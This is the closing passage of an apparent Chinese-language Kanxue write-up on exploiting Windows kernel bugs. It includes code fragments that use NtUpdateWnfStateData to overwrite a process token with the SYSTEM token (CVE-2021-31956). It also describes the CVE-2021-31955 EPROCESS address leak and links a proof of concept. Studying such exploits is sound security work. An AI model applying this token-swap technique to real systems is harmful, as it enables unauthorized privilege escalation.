wnf_name->StateData = (WNF_STATE_DATA*)(token_addr - 0x50);

调用NtUpdateWnfStateData替换当前进程的token为 system的。

(ULONGLONG)(write_buf + 0x40) = token;mystatus = NtUpdateWnfStateData(&abwrite_st, write_buf, 0x48, 0, 0, 0, 0);

七

CVE-2021-31955

在卡巴发现的在野利用样本中,CVE-2021-31956利用了CVE-2021-31955来解决EPROCESS地址泄漏问题。

CVE-2021-31955漏洞是ntoskrnl.exe中的一个信息泄露漏洞。NtQuerySystemInformation 函数返回的 SuperFetch信息类SuperfetchPrivSourceQuery中包含当前执行的进程的EPROCESS kernel 地址。

https://github.com/freeide/CVE-2021-31955-POC

看雪ID:hml189

https://bbs.kanxue.com/user-home-865065.htm

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原文链接:https://mp.weixin.qq.com/s/9KVaLyGr76jhPQ0pXaBRWg